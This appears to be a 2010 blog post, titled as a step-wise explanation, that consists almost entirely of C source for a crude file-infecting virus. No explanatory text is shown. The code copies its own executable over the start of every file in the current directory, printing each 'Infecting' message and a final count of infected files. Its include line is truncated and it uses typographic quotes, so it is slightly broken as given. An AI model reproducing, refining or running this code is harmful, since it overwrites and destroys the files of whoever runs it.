Step wise Explaination POSTED BY ADNAN ANJUM SATURDAY, AUGUST 21, 2010

#include

FILE *virus,*host;

int done,a=0;

unsigned long x;

char buff[2048];

struct ffblk ffblk;

clock_t st,end;

void main() {

st=clock();

clrscr();

done=findfirst(”*.*”,&ffblk,0);

while(!done) { virus=fopen(_argv[0],”rb”);

host=fopen(ffblk.ff_name,”rb+”);

if(host==NULL) goto next;

x=89088; printf(”Infecting %s\n”,ffblk.ff_name,a);

while(x>2048) { fread(buff,2048,1,virus);

fwrite(buff,2048,1,host); x-=2048; } fread(buff,x,1,virus);

fwrite(buff,x,1,host); a++; next: { fcloseall(); done=findnext(&ffblk);

} } printf(”DONE! (Total Files Infected= %d)”,a);

end=clock();

printf(”TIME TAKEN=%f SEC\n”, (end-st)/CLK_TCK); getch();

}
